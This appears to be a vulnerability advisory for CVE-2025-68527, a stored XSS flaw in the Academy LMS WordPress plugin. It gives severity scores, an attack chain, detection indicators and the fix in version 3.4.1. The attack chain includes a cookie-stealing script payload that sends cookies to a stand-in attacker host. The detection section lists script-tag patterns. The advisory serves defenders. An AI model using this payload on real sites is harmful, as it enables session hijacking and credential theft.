CVE-2025-68527: 
WordPress vulnerability analysis and mitigation

CVE-2025-68527 is a Stored Cross-Site Scripting (XSS) vulnerability in the Academy LMS WordPress plugin developed by Kodezen LLC. It affects all versions of Academy LMS up to and including 3.4.0, and was reported by Muhammad Yudha - DJ on November 30, 2025, with public disclosure on December 30, 2025. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. An authenticated attacker with at least Contributor or Developer-level privileges can inject malicious scripts into fields processed by the plugin, which are then stored and later rendered in victims' browsers without proper sanitization or escaping. Exploitation requires user interaction — a privileged user must visit or interact with the page containing the injected payload — and the scope is changed, meaning the injected script executes in the context of other users' sessions (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript, HTML redirects, or advertisement payloads within the affected WordPress site, which execute in the browsers of any user — including administrators — who visits the affected page. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious external resources. The confidentiality, integrity, and availability impacts are each rated Low, but the changed scope means the attack can affect users beyond the attacker's own session (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-68527. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that while vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress plugins, this specific issue is assessed as low priority with unlikely exploitation (Patchstack).

1. Reconnaissance: Identify WordPress sites running Academy LMS plugin version 3.4.0 or earlier using tools like WPScan or Shodan with WordPress plugin fingerprinting.
2. Obtain low-privilege access: Register or obtain credentials for a Contributor or Developer account on the target WordPress site.
3. Inject malicious payload: Navigate to a plugin input field (e.g., course description, lesson content, or another Academy LMS-managed field) and submit a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Wait for victim interaction: The payload is stored in the database and rendered to any user — including administrators — who views the affected page, triggering execution of the malicious script in their browser.
5. Harvest results: Collect stolen session cookies, credentials, or perform further actions (e.g., privilege escalation, site defacement) depending on the victim's role (Patchstack).

• Logs: WordPress access logs showing POST requests to Academy LMS plugin endpoints containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, <script>, onerror=, onload=).
• Database: Unexpected JavaScript or HTML script tags stored in Academy LMS-related database tables (e.g., course or lesson content fields).
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after visiting Academy LMS pages, potentially indicating cookie or credential exfiltration.
• File System: No direct file system artifacts expected for a stored XSS; however, check for newly created or modified PHP files in the plugin directory that could indicate follow-on compromise.

The vendor has released Academy LMS version 3.4.1, which patches this vulnerability. All users running version 3.4.0 or earlier should update to 3.4.1 or later immediately via the WordPress plugin dashboard. No configuration-based workaround is available; updating is the only recommended remediation. Patchstack users can enable auto-update for vulnerable plugins to automate this process (Patchstack).

Wordfence included CVE-2025-68527 in its weekly WordPress vulnerability report covering December 15, 2025 to January 4, 2026, indicating routine tracking by the WordPress security community (Wordfence). No notable vendor statements, researcher commentary, or significant media coverage beyond standard vulnerability database listings have been identified.